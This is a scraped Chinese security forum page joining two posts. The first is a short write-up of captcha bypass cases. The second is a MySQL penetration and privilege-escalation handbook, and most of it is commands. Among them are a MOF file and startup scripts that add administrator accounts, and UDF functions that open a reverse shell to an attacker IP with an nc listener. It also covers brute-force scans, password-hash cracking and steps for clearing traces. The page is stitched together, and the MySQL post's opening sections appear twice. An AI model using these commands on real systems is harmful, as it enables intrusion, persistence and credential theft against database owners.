## 0x00 日常BB
看论坛里大家平时发的技术文章,就知道自己是个还没踏进门槛的小学生,根本不在一个level,有点慌了。还是把自己平时发现的,自认为有点意思的点罗列出来,班门弄斧,师傅们别笑话→.→
## 0x01 前言
本次分享的是自己关于自己遇到的一些关于图形验证码的案例,可能涉及图形验证码、短信验证码等,还是没有将问题探究到多深入,希望文中的思路能有所用。 
## 0x02 喂!你的那个验证码暴露了?
### 案例前情有些开发人员在做图形验证码校验这一功能时,可能用到了类似这样的思路,所以出了问题,我不妨大胆臆想一下他们的“直男”逻辑,如下所示,那么问题就出在了验证的环节。

生成图形验证码之后,session中保存了四位验证码信息,通过GET请求获取图形验证码时,直接在验证码的末附上了session中的图形验证码值,用户传参后直接比较,同时也省去了提交之后校验的环节。
 
### 案例分享
登陆页面很直观的需要图形验证码,输入的信息均正确,就可以成功通过验证,进行登陆。那么,针对图形验证码的请求,有必要仔细瞅他一眼。

ok,在正常不过的一个请求,那瞅一眼返回信息看看,文末有彩蛋,json部分包括了captcha的值,那么字面意思可以是图形验证码的内容了,核实一下之后可以确信了。


所以这个点的问题很有可能基本上符合我上面的流程中对验证环节的臆想,剩下的就可以是绕过或者直接爆破了,因为图形验证码已经over time。
 
## 0x03 喂!穿上马甲照样认识你!

### 前情提要
上一个案例涉及到了逻辑上存在问题的验证方式,同时很明显的展示了问题存在的点,这一部分没有明显的让你发现验证码的脆弱点,为了规避掉存在问题的点,自以为是用到了常见的拼凑、混淆方式。
### 案例分享
近乎同样的功能点,这个功能点试图使用图形验证码限制短信验证码的请求频率,那么也来看一下他的请求,是否可以从中get一些有用的信息。
 PS:这个请求我们可以看到有一个参数_captcha_bankcoas_key=,这个值怎么看都像是用了base64编码,当然不排除是加密算法加密之后再次使用base64进行编码,尝试先进行base64解码看看如何,毕竟参数的定义方式已经告诉你:“这个参数和captcha有关”,来吧,试试看。

返回包中的黄色箭头部分为密文形式,原密文如下:
ZTI5ZTVhNjA4NWY0YjNjNDJhNDE0MjdkNzFjODQxMjUjMTU1MzA0OTI1OTQ3MSM2MDQ4MDAjTWprM1lqUTNNV0V3TjJZelpXRm1aVFUzWXpBeE5tRmxPR0kxTnpabE56ST0=

首先进行一次base64解码,解码后的内容可以看出,好像这个串是通过一部分加密之后,再拼凑一部分再加密的方式,最后一个“#”号到结尾部分看起来就像是先base64的那部分,摘出来解解看:
e29e5a6085f4b3c42a41427d71c84125#1553049259471#604800#Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=

最后一个“#”号到结尾的部分再次进行base64解密:
Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=

再次base64解码之后得到一个密文串儿,怎么看都得是32位md5加密值,图形验证码是6位纯数字,md5在线解密来看,嗯~真香。
297b471a07f3eafe57c016ae8b576e72


## 0x04 喂!验证码我说了算?
### 前情提要
这个案例的与众不同点在于要求你输入红色标记的几个数字,这种验证方式一定程度上应该是很有效果的达到了验证码的作用,但是如果获取验证码的请求中有任何用户可控的数据提交,可能验证码就不是当年的验证码了。### 案例分享这个分享的案例有一个奇怪的逻辑,在做一笔交易时,需要动过动态手机验证码验证的方式进行,获取短信验证码需要图形验证码进行校验。
But,无论这个图形验证码存在的目的是什么,获取图形验证码的请求中有一个参数recAccount是图形验证码的内容部分,那我可就……直接把内容改成1234试试水。
https://www.test.com/plate/tranVerificationCode.do?recAccount=[b]1234567890[/b]&recAccountName=&trxCode=[b]02[/b]&format=JSON&channel=undefined&businessCode=undefined

修改过的recAccount到页面之后,验证码也就成了我修改后的1234,不用打码,直接自己愿意什么内容就是什么内容了。

每一笔交易也自然都可以顺利的无视图形验证码的限制了。

 ## 0x05 容我再想想
em……我突然想到,上面的案例中涉及的场景都是可以通过脚本来自动化的,但是如果在没有写脚本的情况下,能不能利用Bp现有的功能或插件来直接用,案例中的情况可以考虑通过插件Extractor和Bp自带的Marco的方式来结合使用,这样可以将bp指定范围内的请求均经过处理进行自动化的测试或者半自动化的测试。

mysql数据库渗透及漏洞利用总结

数据库SQL语言flaray 发表了文章 • 0 个评论 • 105 次浏览 • 2019-03-25 13:27 • 来自相关话题

 Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。
 
1.1 mysql信息收集
        1、端口信息收集
mysql默认端口是3306端口,但也有自定义端口针对默认端口扫描主要利用扫描软件进行探测,推荐使用:    
    1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
    2. nmap扫描nmap -p 3306 192.168.1.1-254
特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
  2、版本信息收集
(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
        
        use auxiliary/scanner/mysql/mysql_version
        set rhosts 192.168.157.130
        run
(2)mysql查询版本命令:            SELECT @@version`、`SELECT version();
(3)sqlmap通过注入点扫描确认信息:
        sqlmap.py -u url --dbms mysql
(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
  3、数据库管理信息收集
Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
  4、msf信息收集模块:
(1)mysql哈希值枚举
        use auxiliary/scanner/mysql/mysql_hashdump
        set username root
        set password root
        run
(2)获取相关信息
        use auxiliary/admin/mysql/mysql_enum
        set username root
        set password root
        run
        获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。
        use auxiliary/admin/mysql/mysql_sql
(4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下       
        use auxiliary/scanner/mysql/mysql_schemadump
(5)文件枚举和目录可写信息枚举
        auxiliary/scanner/mysql/mysql_file_enum
        auxiliary/scanner/mysql/mysql_writable_dirs    没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
 
1.2 mysql密码获取
        1.2.1暴力破解
Mysql暴力破解主要有几种:
    1.网页在线连接破解
        可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
    2.msf通过命令行进行暴力破解
        msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
        (1)场景A:对内网获取root某一个口令后,扩展渗透
            use auxiliary/scanner/mysql/mysql_login
            set RHOSTS 192.168.157.1-254
            set password root
            set username root
            run
          执行后对192.168.157.1-254进行mysql密码扫描验证。
        (2)场景B:使用密码字典进行扫描           
                use auxiliary/scanner/mysql/mysql_login
                set RHOSTS 192.168.157.1-254
                set pass_file /tmp/password.txt
                set username root
                run
    3.使用nmap扫描并破解密码
        (1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
            nmap --script=mysql-brute 192.168.157.130
            nmap --script=mysql-brute 192.168.157.1-254
        (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
            nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130            (3)检查root空口令
            nmap --script mysql-empty-password 192.168.195.130
    4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
 
1.2.2源代码泄露1.网站源代码备份文件
    一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。
2.配置备份文件
    使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。
        1.2.3 文件包含: 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。
        1.2.4其他情况: 有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。
 1.3 mysql获取webshell
        1.3.1  phpmyadminroot账号获取webshell
   1. 3.2 sqlmap注入点获取webshell
 
1.4 mysql提权
        1.4.1    mof提权
1.Webshell上传mof文件提权
    MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
        方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
        方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
        方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
    该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
        perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
    192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
2.生成nullevt.mof文件
    将以下代码保存为nullevt.mof文件:
        #pragma namespace("\\\\.\\root\\subscription")
        instance of __EventFilter as $EventFilter
        {
            EventNamespace = "Root\\Cimv2";
            Name = "filtP2";
            Query = "Select \ From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
            QueryLanguage = "WQL";
        };
        instance of ActiveScriptEventConsumer as $Consumer
        {
            Name = "consPCSV2";
            ScriptingEngine = "JScript";
            ScriptText =
            "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
        };
        instance of __FilterToConsumerBinding
        {
            Consumer = $Consumer;
            Filter = $EventFilter;
        };
3.通过Mysql查询将文件导入
    执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
    
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';
 1.4.2    msf直接mof提权
Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。
使用过程:
    use exploit/windows/mysql/mysql_mof
    set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
    set rport 3306 //设置mysql的远程端口
    set password root //设置mysql数据库root密码
    set username root //设置mysql用户名
    options //查看设置
    run 0
技巧:
    要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。
方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%
    use mysql;
    update user set host = '%' where user = 'root';
    FLUSH PRIVILEGES ;
    select host, user from user;
方法2:直接授权(推荐)
    从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
        # mysql -u root -proot
        GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
        FLUSH PRIVILEGES;
    推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。
 
1.4.3    UDF提权UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码
Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。
1.UDF提权条件   
    1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
    2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
    3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
    4. 可以将udf.dll写入到相应目录的权限。
2.提权方法        (1)获取数据库版本、数据位置以及插件位置等信息
            select version();//获取数据库版本
            select user();//获取数据库用户
            select @@basedir ;//获取安装目录
            show variables like '%plugins%'; //寻找mysql安装路径
    (2)导出路径
            C:\Winnt\udf.dll Windows 2000
            C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)
        MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
        在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
            select @@basedir; //查找到mysql的目录
            select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
            5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
            select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 
            5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
        执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
    (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:
        create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
    (4)执行命令:
        select sys_eval(‘whoami’);
        一般情况下不会出现创建不成功哦。连不上3389可以先停止windows防火墙和筛选
        select sys_eval(‘net stop policyagent’);
        select sys_eval(‘net stop sharedaccess’);
        udf.dll下常见函数:
            cmdshell 执行cmd;
            downloader 下载者,到网上下载指定文件并保存到指定目录;
            open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
            backshell 反弹Shell;
            ProcessView 枚举系统进程;
            KillProcess 终止指定进程;
            regread 读注册表;
            regwrite 写注册表;
            shut 关机,注销,重启;
            about 说明与帮助函数;
        具体用户示例: 
            select cmdshell('net user iis_user 123!@#abcABC /add');
            select cmdshell('net localgroup administrators iis_user /add');
            select cmdshell('regedit /s d:web3389.reg');
            select cmdshell('netstat -an');
    (5)清除痕迹
        drop function cmdshell;//将函数删除
        删除udf.dll文件以及其它相关入侵文件及日志。
    (6)常见错误
        1290 - The MySQL server is running with the --secure-file-priv option so it cannot 
        execute this statement
        在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
            1123 - Can't initialize function 'backshell';
            UDFs are unavailable with the --skip-grant-tables option
        需要将my.ini中的skip-grant-tables选项去掉。
3.webshell下udf提权
    通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。
4.Mysql提权综合利用工具
    v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:  
        (1)自动导出你的backdoor和mof文件
        (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
        (3)导出LPK.dll文件,劫持系统目录提权
        (4)写启动项提权
    UdF自动提权:
        python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
    LPK劫持提权:
        python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
    启动项提权:
        python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
    例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权
 1.4.4    无法获取webshell提权
1.连接mysql
    (1)mysql.exe -h ip -uroot -p
    (2)phpmyadmin
    (3)Navicat for MySQL
2.查看数据库版本和数据路径
    SELECT VERSION( );
    Select @@datadir;
    5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
    5.1以上版本 通过以下查询来获取插件路径:
    SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
    show variables like '%plugin%' ;
    select load_file('C:/phpStudy/Apache/conf/httpd.conf')
    select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
    select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3.修改mysql.txt
    Mysql.txt为udf.dll的二进制文件转成十六进制代码。
    (1)先执行导入ghost表中的内容
        修改以下代码的末尾代码 select backshell(“YourIP”,4444);
    (2)导出文件到某个目录
            select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
            select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
            select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
            select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
            select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
            select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
            select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
            select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
    (3)查看FUNCTION中是否存在cmdshell和backshell                    存在则删除:
                drop FUNCTION cmdshell;//删除cmdshell
                drop FUNCTION backshell;//删除backshell
            创建backshell:
                CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
            在具备独立主机的服务器上执行监听:
                nc -vv -l -p 44444
            执行查询:
                select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
4.获取webshell后添加用户命令
    注意如果不能直接执行,则需要到c:\windows\system32\下执行
        net user antian365 www.xianzhi.aliyun.com /add
        net localgroup administrators antian365
 
1.4.5    sqlmap直连数据库提权Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
    (1)连接数据库
            sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
    (2)选择操作系统的架构,32位操作系统选择1,64位选择2.
    (3)自动上传udf或提示os-shell
    (4)执行whomai命令如果获取系统权限,则表示提权成功。         
 
1.4.5    kali linux下的msfudf提权msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit
 
msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
=12pt    1.4.6    启动项提权
1.创建表并插入vbs脚本到表中,依次使用以下命令:
    show databases ;
    use test;
    show tables;
    create table a (cmd text);
    insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
    insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
    insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
    select \ from a;
 
2. 导出vbs脚本到启动
    使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。            select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单
        \\程序\\启动\\a.vbs";
    导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.
    推荐使用以下脚本
        show databases ;
        use test;
        show tables;
        create table b (cmd text);
        insert into b values ("net user Aspnet123545345! /add");
        insert into b values ("net localgroup administrators Aspnet /add");
        insert into b values ("del b.bat");
        select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";
    该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件        说明:
        在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:
        select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";
        Windows 2008 Server的启动目录为:
            C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs
        其vbs方法可以参考如下写法:
            create table a (cmd text);
            insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
            insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
            insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
            select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
3.msf下模块exploit/windows/mysql/mysql_start_up提权
    use exploit/windows/mysql/mysql_start_up
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run
msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。
 
1.5    MSF其他相关漏洞提权
1.Mysql身份认证漏洞及利用(CVE-2012-2122)
    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
    MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
    MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/ mysql_authbypass_hashdump
2.exploit/windows/mysql/mysql_yassl_hello
3.exploit/windows/mysql/scrutinizer_upload_exec
 1.6    mysql密码破解
1.6.1    lcain工具破解密码
使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
注意:    
    1. root后面的“”不要复制到字符串中。
    2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。
安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。 
1.6.2    网站在线密码破解1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。
2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码
 1.6.3    hashcat破解
hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:
    hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型
    hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型
 1.6.4    Join the  Ripper  password cracker
John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。
    
        Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
        John –format =mysql-sha1 hashes.txt
        john --list=formats | grep mysql //查看支持mysql密码破解的算法 查看全部
 Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。
 
1.1 mysql信息收集
        1、端口信息收集
mysql默认端口是3306端口,但也有自定义端口针对默认端口扫描主要利用扫描软件进行探测,推荐使用:    
    1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
    2. nmap扫描nmap -p 3306 192.168.1.1-254
特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
  2、版本信息收集
(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
        
        use auxiliary/scanner/mysql/mysql_version
        set rhosts 192.168.157.130
        run
(2)mysql查询版本命令:            SELECT @@version`、`SELECT version();
(3)sqlmap通过注入点扫描确认信息:
        sqlmap.py -u url --dbms mysql
(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
  3、数据库管理信息收集
Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
  4、msf信息收集模块:
(1)mysql哈希值枚举
        use auxiliary/scanner/mysql/mysql_hashdump
        set username root
        set password root
        run
(2)获取相关信息
        use auxiliary/admin/mysql/mysql_enum
        set username root
        set password root
        run
        获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。
        use auxiliary/admin/mysql/mysql_sql
(4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下       
        use auxiliary/scanner/mysql/mysql_schemadump
(5)文件枚举和目录可写信息枚举
        auxiliary/scanner/mysql/mysql_file_enum
        auxiliary/scanner/mysql/mysql_writable_dirs    没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
 
1.2 mysql密码获取
        1.2.1暴力破解
Mysql暴力破解主要有几种:
    1.网页在线连接破解
        可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
    2.msf通过命令行进行暴力破解
        msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
        (1)场景A:对内网获取root某一个口令后,扩展渗透
            use auxiliary/scanner/mysql/mysql_login
            set RHOSTS 192.168.157.1-254
            set password root
            set username root
            run
          执行后对192.168.157.1-254进行mysql密码扫描验证。
        (2)场景B:使用密码字典进行扫描           
                use auxiliary/scanner/mysql/mysql_login
                set RHOSTS 192.168.157.1-254
                set pass_file /tmp/password.txt
                set username root
                run
    3.使用nmap扫描并破解密码
        (1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
            nmap --script=mysql-brute 192.168.157.130
            nmap --script=mysql-brute 192.168.157.1-254
        (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
            nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130            (3)检查root空口令
            nmap --script mysql-empty-password 192.168.195.130
    4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
 
1.2.2源代码泄露1.网站源代码备份文件
    一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。
2.配置备份文件
    使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。
